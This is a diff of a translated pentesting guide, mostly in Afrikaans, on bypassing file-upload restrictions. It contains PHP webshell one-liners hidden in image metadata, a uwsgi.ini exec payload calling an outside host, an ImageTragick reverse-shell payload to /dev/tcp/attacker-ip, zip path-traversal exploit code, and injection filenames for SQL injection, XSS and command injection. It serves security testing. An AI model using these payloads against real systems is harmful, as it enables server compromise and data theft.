-- Bypass **magic number** check deur aan die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (om die _file_ command te mislei). Of plaas die shell in die **metadata**:\
+- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-` ` of jy kan ook die **payload direk** in 'n beeld plaas:\
+`\` or you could also **introduce the payload directly** in an image:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- As **kompressie by jou beeld toegepas word**, byvoorbeeld deur sommige standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die webblad kan die **image** ook **resize**, byvoorbeeld met die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Nog 'n tegniek om 'n payload te maak wat **'n beeld-hergrootting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Other Tricks to check
+### Ander truuks om te kontroleer
 
 - Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander).
-- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
+- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer.
-- **Moontlike inligtingslek**:
+- **Moontlike inligtingsvrystelling**:
-1. Laai die **selfde lêer** **meermale** (en op die **selfde tyd**) op met dieselfde naam.
+1. Laai **veral kere** op (en op die **selfde tyd**) dieselfde **lêer** met dieselfde **naam**
-2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**.
+2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**
-3. Laai 'n lêer op met **"." , "..", of "..." as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" directory stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" directory skep.
+3. Laai 'n lêer op met **"." , "..", or "…" as its name**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers stoor in "/www/uploads/" directory, sal die "." filename 'n lêer met die naam "uploads" in die "/www/" directory skep.
-4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"...:.jpg"** in **NTFS**. (Windows)
+4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"…:.jpg"** in **NTFS**. (Windows)
 5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows)
-6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
+6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
-- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdag) wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word.
+- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdenk) wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer oopgemaak word.
 
-### Spesiale uitbreidings-trieke
+### Spesiale uitbreidingstruuks
 
-As jy probeer om lêers na 'n **PHP server** op te laai, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-As jy probeer om lêers na 'n **ASP server** op te laai, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitgevoer met php, of ingesluit in 'n script...).
+Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitvoer met php, of insluit in 'n script...)
 
-Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net gebruik word om **lêers te importeer**, so op 'n stadium kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers te importeer**, so, op 'n stadium, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
 
 ## **Jetty RCE**
 
-As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld vermeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell!
+As jy 'n XML-lêer na 'n Jetty-server kan oplaai, kan jy [RCE kry omdat **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE) kwetsbaarhede kan op uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, placeholders, en operateurs in te sluit. Besonder is die '@' operateur, gebruik as `@(filename)`, wat bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, omdat dit toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
+Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI-bedieners indien iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, plaasvervangers en operateurs in te sluit. Noemenswaardig is die '@' operateur, wat as `@(filename)` gebruik word en ontwerp is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonders kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
 
 Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer:
 ```ini
@@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die uitvoering van die payload gebeur tydens die parsing van die configuration file. Om die configuration te aktiveer en te parse, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel word. Die auto-reload-funksie, indien aangeskakel, reload die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
+Die uitvoering van die payload gebeur tydens die parsing van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te kry, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service-aanval) óf die lêer moet ingestel wees om auto-reload. Die auto-reload feature, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
 
-Dit is noodsaaklik om die los aard van uWSGI se configuration file parsing te verstaan. Spesifiek kan die genoemde payload in 'n binary file (soos 'n image of PDF) ingevoeg word, wat die omvang van potensiële exploitasiemoglikhede verder vergroot.
+Dit is belangrik om die losse aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike uitbuiting verder vergroot.
 
 ## **wget File Upload/SSRF Trick**
 
-In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **`download files`** en jy kan die **`URL`** aandui. In sulke gevalle mag die code kontroleer dat die uitbreiding van die gedownloade lêers op 'n whitelist is om te verseker dat slegs toegelate lêers gedownload word. However, `this check can be bypassed.`\
+In sommige gevalle mag jy vind dat 'n server **`wget`** gebruik om **download files** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die extension van die gedownloade files in 'n whitelist is om te verseker dat slegs toegelate files afgelaai gaan word. However, **this check can be bypassed.**\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** verkort die lêernaam tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** die **check** (soos in hierdie voorbeeld **".gif"** 'n **valid** uitbreiding is) maar `wget` sal die lêer **rename** na **"A"\*232+".php"**.
+Die **maximum** lengte van 'n **filename** in **linux** is **255**, egter **wget** kort die filenames af tot **236** karakters. Jy kan 'n file download met die naam "A"\*232+".php"+".gif" — hierdie filename sal die check omseil (soos in hierdie voorbeeld is ".gif" 'n geldige extension) maar `wget` sal die file hernoem na "A"\*232+".php".
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Noteer dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP server na 'n ander lêer te herlei**, sodat die aanvanklike URL die kontrole omseil maar wget dan die herlei lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
+Let daarop dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil is om die **HTTP server te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil maar dan sal wget die herlei lêer met die nuwe naam aflaai. Dit **gaan nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy sal aflaai met die naam van die lêer aangedui in die oorspronklike URL**.
 
-## Tools
+## Gereedskap
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload-meganismes. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en benutting van vulnerabilities te vereenvoudig, en verseker deeglike assesserings van web applications.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload mechanisms. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en uitbuiting van vulnerabilities te vereenvoudig en sorg vir deeglike assesserings van web applications.
 
 ### Corrupting upload indices with snprintf quirks (historical)
 
-Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van `snprintf()`, kan 'n noukeurig saamgestelde enkele upload aan die bedienerkant as verskeie geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar in die war stuur (bv. dit as 'n multi-file upload beskou en onveilige takke volg). Al is dit vandag nis, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer kodebasisse.
+Sommige legacy upload handlers wat snprintf() of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die _FILES struktuur te vervals. As gevolg van inkonsekwenthede en afkap in snprintf() gedrag, kan 'n sorgvuldig saamgestelde enkele upload op die bediener-kant as verskeie geïndekseerde lêers voorkom, wat logika verwar wat 'n streng struktuur aanvaar (bv. dit as 'n multi-file upload behandel en onveilige takke neem). Al is dit vandag nissies, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer codebases.
 
-## Van lêeroplaai na ander kwesbaarhede
+## From File upload to other vulnerabilities
 
 - Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bereik
-- Stel **filename** op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL injection** te bewerkstellig
+- Stel **filename** op `sleep(10)-- -.jpg` en jy kan moontlik 'n **SQL injection** bereik
 - Stel **filename** op `<svg onload=alert(document.domain)>` om 'n **XSS** te bewerkstellig
-- Stel **filename** op `; sleep 10;` om sekere command injection te toets (more [command injections tricks here](../command-injection.md))
+- Stel **filename** op `; sleep 10;` om sekere **command injection** te toets (meer [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
-- Probeer **different svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- Probeer **verskeie svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- As jy die webserver kan opdrag gee om 'n image vanaf 'n URL te haal, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** na 'n **public** webwerf gestoor gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en sodoende **inligting van elke besoeker steel**.
+- As jy die **web server kan aanwys om 'n image vanaf 'n URL te haal** kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in 'n **public** site **gesave** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en die **inligting van elke besoeker steel**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
-- Spesiaal samengestelde PDFs vir XSS: Die [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe aanwysings.
+- Spesiaal saamgestelde PDFs vir XSS: Die volgende bladsy verduidelik hoe om **PDF data te injecteer om JS uitvoering te bekom** (../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy 'n PDF voorberei wat arbitêre JS sal uitvoer volgens die gegewe aanwijgings.
-- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kontroleer of die bediener enige **antivirus** het
+- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kontroleer of die bediener enige **antivirus** het
-- Kontroleer of daar enige **size limit** is wanneer lêers opgelaai word
+- Kontroleer of daar enige **grootte beperking** is wanneer jy files upload
 
-Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Hier is 'n top 10 lys van dinge wat jy deur opgelaai te word kan bereik (van [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@@ -234,39 +234,39 @@ Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https
 https://github.com/portswigger/upload-scanner
 {{#endref}}
 
-## Magic Header Bytes
+## Magiese Header Bytes
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
 
 Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes.
 
-## Zip/Tar-lêer wat outomaties gedekomprimeer word tydens oplaai
+## Zip/Tar File Automatically decompressed Upload
 
-As jy 'n ZIP kan oplaai wat op die bediener gedekomprimeer gaan word, kan jy twee dinge doen:
+As jy 'n ZIP kan upload wat binne die bediener gedecomprimeer gaan word, kan jy twee dinge doen:
 
 ### Symlink
 
-Laai 'n archive op wat soft links na ander lêers bevat; wanneer jy toegang kry tot die gedekomprimeerde lêers, sal jy toegang kry tot die gekoppelde lêers:
+Upload 'n arkief wat soft links na ander files bevat, dan, deur toegang te kry tot die gedecomprimeerde files, sal jy toegang kry tot die gelinkte files:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### Ontpak in verskillende gidse
+### Dekomprimeer in verskillende vouers
 
-Die onverwagte skepping van lêers in gidse tydens uitpak is 'n beduidende probleem. Ondanks aanvanklike aannames dat hierdie opstelling moontlik teen OS-level command execution via malicious file uploads sal beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP-argiefformaat misbruik word. Dit stel attackers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die uitpakfunksionaliteit van die geteikende toepassing te manipuleer.
+Die onvoorsiene skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike veronderstellings dat hierdie opstelling teen OS-level command execution deur kwaadwillige lêer-oplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en uit veilige oplaai-gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
 
-'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
+'n Outomatiese exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die nutsprogram kan soos volg gebruik word:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Verder is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie.
+Verder is die **symlink trick with evilarc** ’n opsie. As die doelwit is om ’n lêer soos `/flag.txt` te mik, moet ’n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc tydens sy werking nie foutmeldings ervaar nie.
 
-Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
+Hieronder is ’n voorbeeld van Python-kode wat gebruik word om ’n kwaadwillige zip-lêer te skep:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -284,11 +284,11 @@ zip.close()
 
 create_zip()
 ```
-**Abusing compression for file spraying**
+**Misbruik van kompressie vir file spraying**
 
-Vir verdere besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Vir meer besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word.
+1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word.
 
 ```php
 <?php
@@ -305,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex editor gewysig, deur "xxA" na "../" te verander om gidsstrukture te deurkruis.
+3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex editor verander, deur "xxA" na "../" te verander om deur gidse te navigeer.
 
 ```bash
 :set modifiable
@@ -315,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Laai hierdie inhoud op met 'n image-uitbreiding om die kwesbaarheid uit te buit **(ImageMagick, 7.0.1-1)** (vanaf die [exploit](https://www.exploit-db.com/exploits/39767))
+Laai hierdie inhoud op met 'n beeldlêer-uitbreiding om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Insluiting van PHP Shell in PNG
+## Embedding PHP Shell on PNG
 
-Die insluiting van 'n PHP shell in die IDAT-chunk van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die verander van grootte en herbemonstering van beelde. Die vermoë van die ingeslote PHP shell om ongeskonde te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
+Die insluiting van 'n PHP shell in die IDAT chunk van 'n PNG-lêer kan sekere image processing-operasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is in hierdie verband besonder relevant, aangesien hulle algemeen gebruik word vir die resizing en resampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP shell om onaangetas te bly deur hierdie operasies is 'n betekenisvolle voordeel vir sekere gebruiksgevalle.
 
-'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en moontlike toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en die implikasies daarvan.
+'n Gedetaileerde ondersoek van hierdie tegniek, insluitend metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en die implikasies daarvan.
 
 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
-## Polyglot Files
+## Polyglot-lêers
 
-Polyglot files dien as 'n unieke hulpmiddel in cybersecurity, en tree op soos kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers beperk zich nie tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar.
+Polyglot-lêers funksioneer as kameleonne in cybersecurity, en kan geldig in meervoudige lêerformate gelyktydig bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot daardie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
 
-Die kern nut van polyglot files lê in hul vermoë om sekuriteitstelsels te omseil wat lêers op grond van tipe sifting. Algemene praktyk in verskeie toepassings is om slegs sekere lêertipes vir upload toe te laat—soos JPEG, GIF, of DOC—om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar lêers) te beperk. 'n Polyglot, deur te voldoen aan die strukturele kriteria van meerdere lêertipes, kan egter stilletjies hierdie beperkings omseil.
+Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe sifts. Algemene praktyk in verskeie toepassings behels slegs sekere lêertipes toe te laat vir upload—soos JPEG, GIF of DOC—om die risiko van potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) te verminder. 'n Polyglot kan egter deur die strukturele kriteria van veelvuldige lêertipes te voldoen, stilweg hierdie beperkings omseil.
 
-Ten spyte van hul aanpasbaarheid, het polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele tweespalt van 'n polyglot nie voldoende wees om die upload te waarborg nie.
+Ten spyte van hul aanpasbaarheid, het polyglots wel beperkings. Byvoorbeeld, al kan 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG beliggaam, mag die sukses van sy upload afhanklik wees van die platform se file extension-beleid. As die stelsel streng is oor toegelate extensies, mag die strukturele dualiteit van 'n polyglot nie voldoende wees om sy upload te waarborg nie.
 
 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
 ### Upload valid JSONs like if it was PDF
 
-Hoe om lêertipe-detektering te omseil deur 'n geldige JSON-lêer op te laai, selfs al is dit nie toegelaat nie, deur 'n PDF-lêer te faksimeer (tegnieke van **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Hoe om file type-deteksering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n vals PDF-lêer na te boots (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
-- **`mmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit die post)
+- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld in die post)
-- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit die post)
+- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n pdf (kry voorbeeld in die post)
